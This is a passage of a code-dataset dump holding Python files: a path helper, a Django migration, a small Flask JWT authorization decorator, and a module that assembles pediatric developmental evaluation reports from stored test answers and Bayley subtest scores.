{"api_name": "numpy.random", "line_number": 216, "usage_type": "attribute"}, {"api_name": "elektronn3.training.train_utils.pretty_string_time", "line_number": 232, "usage_type": "call"}, {"api_name": "elektronn3.training.trainer.logger.info", "line_number": 239, "usage_type": "call"}, {"api_name": "elektronn3.training.trainer.logger", "line_number": 239, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 252, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 252, "usage_type": "name"}, {"api_name": "seaborn.distplot", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 257, "usage_type": "call"}, {"api_name": "handlers.plot_image", "line_number": 258, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 260, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 260, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 263, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 263, "usage_type": "name"}, {"api_name": "seaborn.distplot", "line_number": 264, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 264, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 268, "usage_type": "call"}, {"api_name": "handlers.plot_image", "line_number": 269, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 271, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 271, "usage_type": "name"}, {"api_name": "torch.save", "line_number": 276, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 279, "usage_type": "call"}, {"api_name": "os.path", "line_number": 279, "usage_type": "attribute"}, {"api_name": "IPython.embed", "line_number": 286, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 290, "usage_type": "call"}, {"api_name": "IPython.embed", "line_number": 298, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 303, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 305, "usage_type": "call"}, {"api_name": "os.path", "line_number": 305, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 310, "usage_type": "name"}, {"api_name": "time.time", "line_number": 318, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 325, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 327, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 328, "usage_type": "call"}, {"api_name": "time.time", "line_number": 341, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 316, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 348, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 348, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 349, "usage_type": "name"}, {"api_name": "handlers._get_batch2img_function", "line_number": 360, "usage_type": "call"}, {"api_name": "handlers._get_batch2img_function", "line_number": 361, "usage_type": "call"}, {"api_name": "handlers._get_batch2img_function", "line_number": 362, "usage_type": "call"}, {"api_name": "handlers.plot_image", "line_number": 366, "usage_type": "call"}, {"api_name": "handlers.plot_image", "line_number": 368, "usage_type": "call"}, {"api_name": "handlers.plot_image", "line_number": 370, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 377, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 377, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 377, "usage_type": "call"}]} {"seq_id": "142548245", "text": "import collections\nimport os\n\ndef init_syspath(rootpath,sites):\n if 'syspath' not in globals():\n d = {}\n d['BASE_PATH'] = rootpath # full path to project\n d['BASE_DIR'] = os.path.split(rootpath)[1] # directory name of project\n d['DS'] = os.sep # directory separator\n d['SITES_PATH'] = d['BASE_PATH']+d['DS']+sites# sites path\n d['SITES_DIR'] = sites # directory of all sites\n Path = collections.namedtuple('Path',' '.join(d.keys()))\n global syspath\n syspath = Path(*d.values())\n return syspath\n", "sub_path": "core/syspath.py", "file_name": "syspath.py", "file_ext": "py", "file_size_in_byte": 638, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.split", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.sep", "line_number": 9, "usage_type": "attribute"}, {"api_name": "collections.namedtuple", "line_number": 12, "usage_type": "call"}]} {"seq_id": "628161824", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('characters', '0023_auto_20150807_1644'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='penaltylog',\n name='type',\n field=models.PositiveSmallIntegerField(verbose_name='typ kary', choices=[(1, 'kick'), (2, 'admin jail'), (3, 'warn'), (4, 'ban'), (5, 'blokada postaci')]),\n ),\n ]\n", "sub_path": "characters/migrations/0024_auto_20150810_1841.py", "file_name": "0024_auto_20150810_1841.py", "file_ext": "py", "file_size_in_byte": 524, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}]} {"seq_id": "237761397", "text": "import jwt\nfrom flask import request, abort, g\nfrom datetime import datetime, timedelta\n\nfrom functools import wraps\n\ndef encode(data):\n payload = {\n \"data\": data,\n \"exp\": datetime.utcnow() + timedelta(seconds=1000),\n \"iat\": datetime.utcnow()\n }\n \n encoded = jwt.encode(payload, \"SATE-KELINCI\", algorithm=\"HS256\").decode('utf-8')\n return encoded\n\n# token = request.headers[\"Authorization\"][7:]\ndef decode(token):\n try:\n decoded = jwt.decode(token, \"SATE-KELINCI\", algorithms=[\"HS256\"])\n except jwt.ExpiredSignatureError:\n abort(401)\n return decoded\n\ndef verify(f):\n @wraps(f)\n def decoratedFunction(*args, **kwargs):\n token = request.headers[\"Authorization\"][7:]\n\n username = decode(token)\n g.username = username\n\n return f(*args, **kwargs)\n return decoratedFunction", "sub_path": "src/utils/authorization.py", "file_name": "authorization.py", "file_ext": "py", "file_size_in_byte": 859, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.datetime.utcnow", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 10, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 11, "usage_type": "name"}, {"api_name": "jwt.encode", "line_number": 14, "usage_type": "call"}, {"api_name": "jwt.decode", "line_number": 20, "usage_type": "call"}, {"api_name": "jwt.ExpiredSignatureError", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.abort", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 28, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 28, "usage_type": "name"}, {"api_name": "flask.g.username", "line_number": 31, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 31, "usage_type": "name"}, {"api_name": "functools.wraps", "line_number": 26, "usage_type": "call"}]} {"seq_id": "230002314", "text": "import sys, os, shutil, datetime, json\n\nfrom dateutil.relativedelta import relativedelta\n\nfrom sqlalchemy import and_, func, between\n\nfrom docxtpl import DocxTemplate, Listing\n\n# add system directory to pull in app & models\n\nsys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..'))\n\nfrom app import db, models\n\n\ndef create_eval_report_doc(eval):\n\n if not eval.report:\n print('no report')\n return False\n\n file_directory_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', 'docs',str(eval.client.regional_center.company_id),'reports/')\n\n if not os.path.exists(file_directory_path):\n os.makedirs(file_directory_path)\n shutil.copy(os.path.join(os.path.dirname(os.path.realpath(__file__)),'report_template.docx'), file_directory_path)\n\n report_tpl = DocxTemplate(os.path.join(file_directory_path, 'report_template.docx'))\n\n report_info = {}\n\n report_info['client'] = eval.client\n age_tuple = get_client_age(eval.client.birthdate, eval.appt.start_datetime)\n report_info['client'].age_string = '%s months %s days' % age_tuple\n report_info['client'].adjusted_age_string = None\n\n if age_tuple[0] < 24 and eval.client.weeks_premature >= 4:\n adjusted_age_tuple = get_client_age(eval.client.birthdate + datetime.timedelta(int(eval.client.weeks_premature * 7 // 1)), eval.appt.start_datetime)\n report_info['client'].adjusted_age_string = '%s months %s days' % adjusted_age_tuple\n\n report_info['eval'] = eval\n report_info['eval'].report_date = datetime.datetime.now()\n\n report_info['sections'] = []\n\n report_info['eval_sections'] = {'background': [],\n 'evaluations': [],\n 'recommendations': []}\n\n section_order = ['background', 'evaluations', 'recommendations']\n\n section_index = 0\n eval_subtest = False\n sections = models.ReportSection.query.filter(models.ReportSection.report.has(client_eval_id = eval.id)).order_by(models.ReportSection.section_order_id)\n\n for section in sections:\n\n if eval_subtest != (section.eval_subtest_id != None):\n eval_subtest = not eval_subtest\n section_index += 1\n\n section_key = section_order[section_index]\n if section_key != 'evaluations':\n if not section.text:\n section.doc_text = None\n elif 'goals' in section.name:\n section.doc_text = section.text\n else:\n section.doc_text = Listing(section.text)\n report_info['eval_sections'][section_key].append(section)\n else:\n section.doc_text = Listing(section.text)\n tests = report_info['eval_sections'][section_key]\n test_info = None\n\n for test in tests:\n if test['eval'].id == section.subtest.eval.id:\n test_info = test\n break\n\n if test_info == None:\n test_info = {'eval': section.subtest.eval,\n 'subtests': []}\n tests.append(test_info)\n\n for lookup in eval.eval_subtests:\n if lookup.subtest_id == section.subtest.id:\n subtest_scores = lookup\n # Need to handle null subtest scores. Hopefully through the new scoring.\n if subtest_scores.age_equivalent is None:\n subtest_scores.age_equivalent = 0\n\n\n test_info['subtests'].append({'scores': subtest_scores,\n 'report_section': section})\n report_info['bayley_composite_scores'] = get_composite_scores(eval)\n\n report_tpl.render(report_info)\n\n report_tpl.save(os.path.join(file_directory_path, 'eval_report.docx' ))\n\n return True\n\ndef get_composite_scores(eval):\n '''Gets Composite Bayley scores for eval report from an eval object'''\n composite_list = ['Cognition', 'Language', 'Motor']\n composite_scores = {}\n\n for subtest in eval.eval_subtests:\n subtest_name = subtest.subtests.name\n subtest_scaled_score = subtest.scaled_score\n\n for composite in composite_list:\n if composite in subtest_name:\n composite_scores[composite] = composite_scores.get(composite, {})\n composite_scores[composite]['sum'] = composite_scores[composite].get('sum', 0)\n composite_scores[composite]['sum'] += subtest_scaled_score\n\n return composite_scores\n\n\n\n\n\n\ndef create_report(client_eval):\n\n client = client_eval.client\n\n pronoun = 'he' if client.gender == 'M' else 'she'\n possessive_pronoun = 'his' if client.gender == 'M' else 'her'\n\n client_info = {}\n\n client_info['first_name'] = client.first_name\n client_info['pronoun'] = 'he' if client.gender == 'M' else 'she'\n client_info['child'] = 'boy' if client.gender == 'M' else 'girl'\n client_info['possessive_pronoun'] = 'his' if client.gender == 'M' else 'her'\n\n previous_evals = client.evals.order_by(models.ClientEval.created_date.desc()).all()\n\n last_eval = None\n\n if len(previous_evals) > 1:\n last_eval = previous_evals[1]\n\n eval_report = client_eval.report if client_eval.report else models.EvalReport()\n\n # Generate Client Background\n\n section_names = [section.name for section in eval_report.sections]\n\n section_index = 1\n\n if client.background:\n\n if 'background' not in section_names:\n if last_eval:\n try:\n background = last_eval.report.sections.filter(models.ReportSection.name == 'background').first().text\n except:\n background = create_background(client)\n else:\n background = create_background(client)\n\n eval_report.sections.append(models.ReportSection(name='background', text=background, section_title='Background', section_order_id = section_index))\n\n section_index += 1\n if 'social_history' not in section_names:\n if last_eval:\n try:\n social_history = last_eval.report.sections.filter(models.ReportSection.name == 'social_history').first().text\n except:\n social_history = create_social_history(client_eval, client_info)\n else:\n social_history = create_social_history(client_eval, client_info)\n\n eval_report.sections.append(models.ReportSection(name='social_history', text=social_history, section_title='Social History', section_order_id = section_index))\n\n # Generate Care Givers Concerns\n # From Background input\n section_index += 1\n if 'care_giver_concerns' not in section_names:\n if last_eval:\n try:\n concerns = last_eval.report.sections.filter(models.ReportSection.name == 'care_giver_concerns').first().text\n except:\n concerns = create_concerns(client_eval, client_info)\n else:\n concerns = create_concerns(client_eval, client_info)\n\n eval_report.sections.append(models.ReportSection(name='care_giver_concerns', text=concerns, section_title='Concerns', section_order_id = section_index))\n\n # Generate Evalution Tools\n\n # Is this needed as it is built in the report with the evals?\n\n # eval_report.sections.append(models.ReportSection(name='eval_tools', section_title='Evaluation Tools'))\n if not client.background:\n section_index = 3\n\n section_index += 1\n if 'test_environment' not in section_names:\n # Generate Testing Environment\n\n # Need to find appt location for eval? - is there a tie to an appt for an eval?\n test_environment = create_testing_environment(client_eval, client_info)\n\n eval_report.sections.append(models.ReportSection(name='test_environment', text=test_environment, section_title='Testing Environment', section_order_id = section_index))\n\n # Generate Validity of Findings\n section_index += 1\n if 'findings_validity' not in section_names:\n\n findings = \"Evaluation was performed with minimal distractions and %s demonstrated adequate engagement with therapist. %s attempted to complete all presented tasks, requiring minimal redirections. Results accurately reflect %s current level of functioning.\" % (client.first_name, pronoun.capitalize(), possessive_pronoun)\n\n eval_report.sections.append(models.ReportSection(name='findings_validity', text=findings, section_title='Validity of Findings', section_order_id = section_index))\n section_index += 1\n if 'clinical_observations' not in section_names:\n # Generate Clinical Observations\n client_info['pronoun_cap'] = client_info['pronoun'].capitalize()\n\n text = '''{first_name} entered the testing room with {possessive_pronoun} parents. {first_name} greeted therapist at the door. {first_name} was asleep when therapist entered the home. {pronoun_cap} demonstrated awareness of others in the room, made eye contact, and smiled when given attention. {pronoun_cap} required a minimal/ moderate habituation period before beginning to engage in testing materials. {pronoun_cap} transitioned from one activity to another with ease and followed simple directions. {pronoun_cap} made vocalizations, produced consonant vowel combinations, pointed to objects {pronoun} wanted, used words to communicate {possessive_pronoun} wants and needs. {pronoun_cap} was able to crawl and walk in order to explore {possessive_pronoun} environment. {pronoun_cap} enjoyed engaging with hands on activities.'''.format(**client_info)\n\n eval_report.sections.append(models.ReportSection(name='clinical_observations', text=text, section_title='Clinical Observations', section_order_id = section_index))\n\n # Generate summary and report for each subtest\n\n subtest_info = get_subtest_info(client_eval)\n\n for a in subtest_info:\n section_index += 1\n if a['subtest_name'].lower() not in section_names:\n\n eval_report.sections = eval_report.sections.all() + [models.ReportSection(name=a['subtest_name'].lower(), eval_subtest_id=a['subtest_id'], text=a['write_up'], section_title=a['subtest_name'], section_order_id = section_index)]\n\n # Generate Eval Summary\n section_index += 1\n if 'test_results' not in section_names:\n test_results = create_eval_summary(subtest_info, client, client_eval)\n\n eval_report.sections.append(models.ReportSection(name='test_results', section_title='Summary of Evaluation', text=test_results, section_order_id = section_index))\n\n section_index += 1\n if 'recommendations' not in section_names:\n # Generate Recommendations\n\n eval_report.sections.append(models.ReportSection(name='recommendations', section_title='Recommendations', text='\\n\\nRegional center to make the final determination of eligibility and services.', section_order_id = section_index))\n\n # Generate old goals if exist\n section_index += 1\n if 'old_goals' not in section_names:\n if last_eval:\n try:\n goals = last_eval.report.sections.filter(models.ReportSection.name == 'new_goals').first().text\n eval_report.sections.append(models.ReportSection(name='old_goals', text=goals, section_title='Previous Goals', section_order_id = section_index))\n except:\n pass\n\n section_index += 1\n if 'new_goals' not in section_names:\n # Generate new Goals\n goals_text = '\\n'.join([client_info['first_name'] + ' will ']*5)\n eval_report.sections.append(models.ReportSection(name='new_goals', text=goals_text, section_title='Goals', section_order_id = section_index))\n\n # Generate Closing & Signature\n section_index += 1\n if 'closing' not in section_names:\n signature = '_' * 35 + '\\n{}'.format(client.therapist.signature)\n\n closing = 'It was a pleasure working with %s and %s family. Please feel free to contact me with any questions in regards to this case.\\n\\n%s' % (client_info['first_name'], client_info['possessive_pronoun'], signature)\n\n eval_report.sections.append(models.ReportSection(name='closing', text=closing, section_title='Closing', section_order_id = section_index))\n\n client_eval.report = eval_report\n db.session.add(client_eval)\n db.session.commit()\n\n return True\n\n\ndef create_social_history(eval, client_info):\n\n client = eval.client\n\n social_history_list = []\n\n s_1 = 'It was reported that %(first_name)s lives at home with %(possessive_pronoun)s ' % client_info\n family = json.loads(client.background.family)\n family_list = []\n\n for member in family:\n family_list.append((member, family[member]['relationship']))\n\n family_list = sorted(family_list, key=lambda x: x[0])\n if len(family_list) == 0:\n s_1 = ''\n elif len(family_list) == 1:\n s_1 += family_list[0][1] + '.'\n else:\n family_members = []\n for mem in family_list:\n # if mem[2] == '' or mem[2] is None:\n family_members.append(mem[1].lower())\n # else:\n # try:\n # dob = datetime.datetime.strptime(mem[2], '%m/%d/%Y')\n # now = datetime.datetime.now()\n #\n # difference = relativedelta(now,dob)\n #\n # if difference.years > 1:\n # age = '(%s years)' % difference.years\n # else:\n # age = '(%s months)' % difference.months\n # except:\n # age = mem[2]\n #\n # family_members.append(mem[1].lower() + ' ' + age)\n\n\n s_1 += ', '.join(family_members[:-1]) + ' and ' + family_members[-1] +'.'\n\n social_history_list.append(s_1)\n\n s_2 = '%(pronoun)s is exposed to ' % client_info\n\n s_2 = s_2.capitalize()\n\n s_2 += client.background.languages + ' in the home.'\n\n social_history_list.append(s_2)\n\n # s_3 = 'It was reported that %(pronoun)s is cared for by ' % client_info\n #\n # s_3 += client.background.daycare + '.'\n #\n # social_history_list.append(s_3)\n\n if client.background.family_schedule.strip() == 'It was reported that':\n s_4 = ''\n else:\n s_4 = client.background.family_schedule\n\n social_history_list.append(s_4)\n\n s_5 = 'It was reported that there is no family history of delays.'\n\n if client.background.history_of_delays == 'True' and client.background.history_of_delays_detail != None:\n s_5 = client.background.history_of_delays_detail\n\n social_history_list.append(s_5)\n\n if client.background.interaction_ops != '':\n s_6 = 'It was reported that %s has opportunities to interact with other children at %s' %(client_info['first_name'], client.background.interaction_ops)\n else:\n s_6 = 'It was reported that %s does not have opportunities to interact with other children.' % client_info['first_name']\n\n social_history_list.append(s_6)\n\n if client.background.how_interact_children != '':\n s_7 = client.background.how_interact_children\n social_history_list.append(s_7)\n\n if client.background.how_interact_adults != '':\n s_8 = client.background.how_interact_adults\n social_history_list.append(s_8)\n\n if client.background.negative_behavior != '':\n s_9 = client.background.negative_behavior\n else:\n s_9 = 'It was reported that %s has no negative behaviors.' % client_info['first_name']\n\n social_history_list.append(s_9)\n\n social_history = ' '.join(social_history_list)\n\n return social_history\n\n\n\n\ndef create_concerns(eval, client_info):\n\n client = eval.client\n\n concerns = client.background.concerns\n\n return concerns\n\n\n\n\ndef create_testing_environment(eval, client_info):\n\n client = eval.client\n\n appt = eval.appt\n\n address = appt.location\n\n regional_center = client.regional_center\n regional_center_address = regional_center.address + ' ' + regional_center.city + ', ' + regional_center.state + ' ' + regional_center.zipcode\n family = json.loads(client.background.family)\n family_list = []\n for member in family:\n family_list.append((member, family[member]['relationship'].lower()))\n\n family_list = sorted(family_list, key=lambda x: x[0])\n\n family_list_text = ', '.join([mem[1] for mem in family_list])\n\n if regional_center_address == address:\n testing_environment = 'Evaluation was performed at %s Regional Center in %s, %s. %s, %s, %s case coordinator and the evaluating occupational therapist were present during the evaluation.' % (regional_center.name, regional_center.city, regional_center.state, client.first_name.capitalize(), family_list_text, regional_center.appt_reference_name)\n else:\n testing_environment = 'Evaluation was performed in the client\\'s home in %s, %s. %s, %s, %s case coordinator and the evaluating occupational therapist were present during the evaluation.' % (client.city, client.state, client.first_name.capitalize(), family_list_text, regional_center.appt_reference_name)\n\n return testing_environment\n\n\n\n\ndef create_eval_summary(subtests, client, eval):\n\n client_info = {}\n\n age = get_client_age(client.birthdate, eval.appt.start_datetime)\n\n client_info['first_name'] = client.first_name\n client_info['age_in_months'] = age[0]\n client_info['pronoun'] = 'he' if client.gender == 'M' else 'she'\n client_info['child'] = 'boy' if client.gender == 'M' else 'girl'\n client_info['possessive_pronoun'] = 'his' if client.gender == 'M' else 'her'\n\n subtest_order = [[],[],[]]\n test_names = [[],[],[]]\n\n for subtest in subtests:\n if subtest['scaled_score'] >= 8:\n subtest_list = 0\n elif subtest['scaled_score'] == 7:\n subtest_list = 1\n else:\n subtest_list = 2\n\n subtest_order[subtest_list].append(subtest)\n test_names[subtest_list].append(subtest['subtest_name'].lower())\n\n summary_text = []\n\n first_paragraph = True\n\n for i, tests in enumerate(subtest_order):\n tests_length = len(tests)\n\n if tests_length == 0:\n continue\n\n paragraph = []\n\n if i == 0:\n skill_level = 'average'\n elif i == 1:\n skill_level = 'borderline'\n else:\n skill_level = 'delays'\n\n if tests_length == 1:\n tests_text = test_names[i][0]\n else:\n tests_text = ', '.join(test_names[i][:-1]) + ' and ' + test_names[i][-1]\n\n if first_paragraph:\n s1 = '%(first_name)s is a %(age_in_months)s month old %(child)s who presented with ' % client_info\n first_paragraph = False\n else:\n s1 = '%s presented with ' % client_info['pronoun'].capitalize()\n\n if i <= 1:\n s1 += '%s skills for %s %s.' %(skill_level, client_info['possessive_pronoun'], tests_text)\n else:\n s1 += '%s in %s %s.' %(skill_level, client_info['possessive_pronoun'], tests_text)\n\n paragraph.append(s1)\n\n for test in tests:\n\n if test['test_name'] == 'BAYLEY':\n s2 = '%s scored within the %s month range for %s %s.' % (client_info['first_name'], test['age_equivalent']//30, client_info['possessive_pronoun'], test['subtest_name'].lower())\n\n if 'motor' in test['subtest_name'].lower():\n s2 = s2[:-1] + ' skills.'\n\n s3_start = '%s ' % client_info['pronoun'].capitalize()\n s3_able = 'was able to'\n s3_unable = 'was unable to'\n\n else:\n s2 = 'Results indicated that %s\\'s %s is in the %s month age range.' % (client_info['first_name'],test['subtest_name'].lower(), test['age_equivalent']//30)\n\n s3_start = 'It was reported that %s ' % client_info['pronoun']\n s3_able = 'can'\n s3_unable = 'cannot'\n\n paragraph.append(s2)\n s3_able_array = [a[0] for a in test['able']]\n s3_unable_array = [a[0] for a in test['unable']]\n\n if i == 0:\n s3 = s3_able + ' ' + ', '.join(s3_able_array[:-1]) + ' and ' if len(s3_able_array) > 1 else ''\n s3 += s3_able_array[-1] + '.'\n elif i == 1:\n s3 = '%s %s,' % (s3_able, test['able'][0][0])\n if len(test['able']) > 1:\n s3 = s3[:-1] + ' and %s,' % (test['able'][1][0])\n\n s3 += ' but %s %s.' %(s3_unable, test['unable'][0][0])\n if len(test['unable']) > 1:\n s3 = s3[:-1] + ' or %s.' % (test['unable'][1][0])\n\n else:\n s3 = s3_unable + ' ' + ', '.join(s3_unable_array[:-1]) + ' or ' if len(s3_unable_array) > 1 else ''\n s3 += s3_unable_array[-1] + '.'\n\n s3 = s3_start + s3\n\n paragraph.append(s3)\n\n summary_text.append(' '.join(paragraph))\n\n report_summary = '\\n\\n'.join(summary_text)\n\n return report_summary\n\n\ndef get_subtest_info(eval):\n\n subtest_info = []\n\n pronouns = {}\n\n pronoun = 'he' if eval.client.gender == 'M' else 'she'\n\n pronouns['possessive_pronoun'] = 'his' if pronoun == 'he' else 'her'\n pronouns['self'] = 'him' if pronoun == 'he' else 'her'\n pronouns['pronoun'] = pronoun\n\n new_sentence = True\n\n for subtest in eval.subtests:\n\n eval_subtest = models.ClientEvalSubtestLookup.query.filter_by(client_eval_id=eval.id, subtest_id=subtest.id).first()\n\n eval_name = subtest.eval.name\n\n subtest_obj = {'scaled_score': eval_subtest.scaled_score if eval_subtest.scaled_score else 0,\n 'age_equivalent': eval_subtest.age_equivalent if eval_subtest.age_equivalent else 0,\n 'test_name': eval_name,\n 'subtest_name': subtest.name,\n 'subtest_id': subtest.id\n }\n\n\n answers = db.session.query(models.EvalQuestion.question_num,models.EvalQuestion.question_cat, models.EvalQuestion.report_text, models.ClientEvalAnswer.answer).\\\n join(models.ClientEvalAnswer).\\\n filter(models.EvalQuestion.subtest_id == subtest.id, models.ClientEvalAnswer.client_eval_id == eval.id).\\\n order_by(models.EvalQuestion.question_num.desc()).all()\n\n able_cat_list = []\n able_list = []\n\n unable_cat_list = []\n unable_list = []\n\n for answer in answers:\n if answer[3] == 1:\n if answer[1] not in able_cat_list:\n able_cat_list += [answer[1]]\n able_list += [[answer[2] % pronouns]]\n else:\n i = able_cat_list.index(answer[1])\n able_list[i] += [answer[2] % pronouns]\n else:\n if answer[1] not in unable_cat_list:\n unable_cat_list = [answer[1]] + unable_cat_list\n unable_list = [[answer[2] % pronouns]] + unable_list\n else:\n i = unable_cat_list.index(answer[1])\n cat = unable_cat_list.pop(i)\n temp_list = unable_list.pop(i)\n unable_cat_list = [cat] + unable_cat_list\n temp_list = [answer[2] % pronouns] + temp_list\n unable_list = [temp_list] + unable_list\n\n subtest_obj['able'] = able_list\n subtest_obj['unable'] = unable_list\n\n if eval_name == 'BAYLEY':\n write_up_sentence_1 = '%s scored within the %s month age range for %s %s.' % (eval.client.first_name, int(subtest_obj['age_equivalent']//30), pronouns['possessive_pronoun'], subtest.name.lower())\n if 'motor' in subtest.name.lower():\n write_up_sentence_1 = write_up_sentence_1[:-1] + ' skills.'\n else:\n write_up_sentence_1 = 'Results indicated that %s\\'s %s in the %s month age range.' % (eval.client.first_name, subtest.name.lower() + ' is' if 'emotional' not in subtest.name.lower() else subtest.name.lower() + ' skills are', int(subtest_obj['age_equivalent']//30))\n\n able_write_up = ' '.join(create_subtest_paragraph(able_list, pronoun, True, eval_name))\n\n unable_write_up = ' '.join(create_subtest_paragraph(unable_list, pronoun, False, eval_name))\n\n subtest_obj['write_up'] = ' '.join([write_up_sentence_1, able_write_up, unable_write_up])\n\n subtest_info.append(subtest_obj)\n\n return subtest_info\n\ndef create_subtest_paragraph(categories, pronoun, able, eval_name):\n\n prefix_1 = ''\n suffix_1 = ''\n conjunction = 'and'\n new_sentence = True\n\n if not able:\n prefix_1 = 'un'\n suffix_1 = 'not'\n conjunction = 'or'\n new_sentence = False\n\n reported = ''\n\n if eval_name != 'BAYLEY':\n reported = 'It was reported that '\n\n paragraph = []\n\n for category in categories:\n\n cat_parts = category\n\n if len(cat_parts) == 1:\n sentence_end = cat_parts[0]\n else:\n sentence_end = ', '.join(cat_parts[:-1]) + ' %s ' % conjunction + cat_parts[-1]\n\n if not new_sentence or eval_name == 'BAYLEY':\n write_up_sentence = '%s%s was %sable to %s.' % (reported, pronoun if len(reported) > 0 else pronoun.capitalize(), prefix_1, sentence_end)\n else:\n write_up_sentence = '%s%s can%s %s.' %(reported, pronoun if len(reported) > 0 else pronoun.capitalize(), suffix_1, sentence_end)\n\n new_sentence = not new_sentence\n\n paragraph.append(write_up_sentence)\n\n return paragraph\n\n\n\n\ndef score_eval(client_eval_id):\n\n eval = models.ClientEval.query.get(client_eval_id)\n\n answers = eval.answers.filter(models.ClientEvalAnswer.answer == 1).all()\n\n answers_by_subtest = {}\n\n for answer in answers:\n answers_by_subtest[answer.question.subtest.id] = answers_by_subtest.get(answer.question.subtest.id, [])\n answers_by_subtest[answer.question.subtest.id].append(answer.question.question_num)\n\n eval_scores = {}\n\n client_age_tuple = get_client_age(eval.client.birthdate, eval.appt.start_datetime)\n\n if client_age_tuple[0] < 24 and eval.client.weeks_premature >= 4:\n client_age_tuple = get_client_age(eval.client.birthdate + datetime.timedelta(int(eval.client.weeks_premature * 7 // 1)), eval.appt.start_datetime)\n\n client_age = client_age_tuple[0]*30 + client_age_tuple[1]\n\n for subtest in answers_by_subtest:\n raw_score = min(answers_by_subtest[subtest]) + len(answers_by_subtest[subtest])-1\n\n scaled_score = db.session.query(func.max(models.EvalSubtestScaledScore.scaled_score)).filter(models.EvalSubtestScaledScore.subtest_id == subtest,\n models.EvalSubtestScaledScore.raw_score <= raw_score,\n between(client_age, models.EvalSubtestScaledScore.from_age, models.EvalSubtestScaledScore.to_age)).first()[0]\n\n age_equivalent = db.session.query(func.max(models.EvalSubtestAgeEquivalent.age_equivalent))\\\n .filter(models.EvalSubtestAgeEquivalent.subtest_id == subtest,\n models.EvalSubtestAgeEquivalent.raw_score <= raw_score).first()[0]\n\n eval_subtest = models.ClientEvalSubtestLookup.query.filter_by(client_eval_id = eval.id, subtest_id = subtest).first()\n\n eval_subtest.raw_score = raw_score\n eval_subtest.scaled_score = scaled_score\n eval_subtest.age_equivalent = age_equivalent\n\n db.session.add(eval_subtest)\n\n db.session.commit()\n\ndef get_client_age(birth_date, eval_date):\n\n\tbirth_day = birth_date.day\n\teval_day = eval_date.day\n\n\tbirth_month = birth_date.month\n\teval_month = eval_date.month\n\n\tbirth_year = birth_date.year\n\teval_year = eval_date.year\n\n\tif birth_day > eval_day:\n\t\teval_month -= 1\n\t\teval_day += 30\n\n\tif birth_month > eval_month:\n\t\teval_month += 12\n\t\teval_year -= 1\n\n\treturn ((eval_year - birth_year) * 12 + (eval_month - birth_month), eval_day - birth_day)\n\n\ndef create_background(client):\n\n client_info = {}\n client_info['first_name'] = client.first_name\n client_info['pronoun'] = 'he' if client.gender == 'M' else 'she'\n client_info['possessive_pronoun'] = 'his' if client.gender == 'M' else 'her'\n background_info = client.background\n\n background_list = []\n\n # Start Paragraph 1\n\n paragraph_one = []\n\n if client.background.gestation == 'full':\n birth = \"\"\"%s was born at %s in %s, %s at full term via %s delivery.\"\"\" % (client_info['first_name'], background_info.born_hospital,background_info.born_city, background_info.born_state, background_info.delivery)\n else:\n birth = \"\"\"%s was born at %s in %s, %s at %s weeks gestation via %s delivery.\"\"\" % (client_info['first_name'], background_info.born_hospital,background_info.born_city, background_info.born_state, background_info.gestation, background_info.delivery)\n\n paragraph_one.append(birth)\n\n weight = \"\"\"%s weighed %s and measured %s inches long at birth.\"\"\" % 